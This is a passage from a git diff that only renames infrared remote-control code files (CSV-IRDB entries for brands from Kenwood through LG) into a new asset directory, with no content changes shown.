a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,6.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,6.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,6.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Sirius/2,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Sirius/2,255.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Sirius/2,255.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Sirius/2,255.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Tuner/182,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/182,75.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Tuner/182,75.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/182,75.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kingbox/h265/1,254.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kingbox/h265/1,254.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kingbox/h265/1,254.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kingbox/h265/1,254.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Knoll/Video Projector/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Knoll/Video Projector/24,233.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Knoll/Video Projector/24,233.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Knoll/Video Projector/24,233.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/CD Player/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/CD Player/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/CD Player/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/CD Player/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/DVD Player/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/DVD Player/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/DVD Player/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/DVD Player/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Receiver/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Receiver/28,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Receiver/28,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Receiver/28,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Receiver/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Receiver/31,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Receiver/31,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Receiver/31,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Blu-Ray/45,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Blu-Ray/45,45.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Blu-Ray/45,45.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Blu-Ray/45,45.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVD Player/16,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/16,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVD Player/16,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/16,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVD Player/44,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/44,44.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVD Player/44,44.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/44,44.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVD Player/45,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/45,45.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVD Player/45,45.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/45,45.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVR/45,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVR/45,45.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVR/45,45.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVR/45,45.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Plasma/1,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Plasma/1,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Plasma/1,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Plasma/1,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Plasma/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Plasma/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Plasma/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Plasma/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Satellite/247,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Satellite/247,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Satellite/247,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Satellite/247,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Sound Bar/44,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Sound Bar/44,44.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Sound Bar/44,44.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Sound Bar/44,44.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/TV/1,1.ir 